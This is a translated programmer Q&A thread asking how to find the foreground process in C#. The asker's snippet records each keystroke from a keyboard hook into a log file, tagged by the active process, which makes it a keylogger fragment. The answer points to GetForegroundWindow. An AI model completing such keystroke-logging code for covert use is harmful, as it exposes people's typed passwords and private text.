How to get the current process that the user is using?

Asked

Viewed 181 times

0

I made a program to pick up the user’s current process, but only what it takes is " Consoleapplication1.vshost" ( Consoleapplication1 is the name of the program), even in windows like Google Chrome, etc. Code:

Process process = Process.GetCurrentProcess();
int vkCode = Marshal.ReadInt32(lParam);
StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
process = Process.GetCurrentProcess();
if (x == process.ProcessName)
    sw.Write((Keys)vkCode);
else
{
    x = process.ProcessName;
    sw.Write("\n{0}", x);
}
sw.Close();

Am I doing this the wrong way? How can I get the current process that the user is using right?

1 answer

0


Yes. Is.

To recover the active process (in use) you should take the window in focus.

For this you must use the API Getforegroundwindow.

From the HWND returned by this API you are able to recover the name of the process to which this window belongs.

  • I tried to do it that way and it didn’t work: string y = GetForegroundWindow().ToString();

  • That’s not how you use it. See an example here. http://www.pinvoke.net/default.aspx/user32.getforegroundwindow

  • If I copy and paste it: Error CS0103 The name "Applicationstate" does not exist in the current context Consoleapplication1 77 Active

  • Look, you should study a little more about how to use the Windows API in C# (or VB.net). It is with them that you will achieve your goal.

Browser other questions tagged

You are not signed in. Login or sign up in order to post.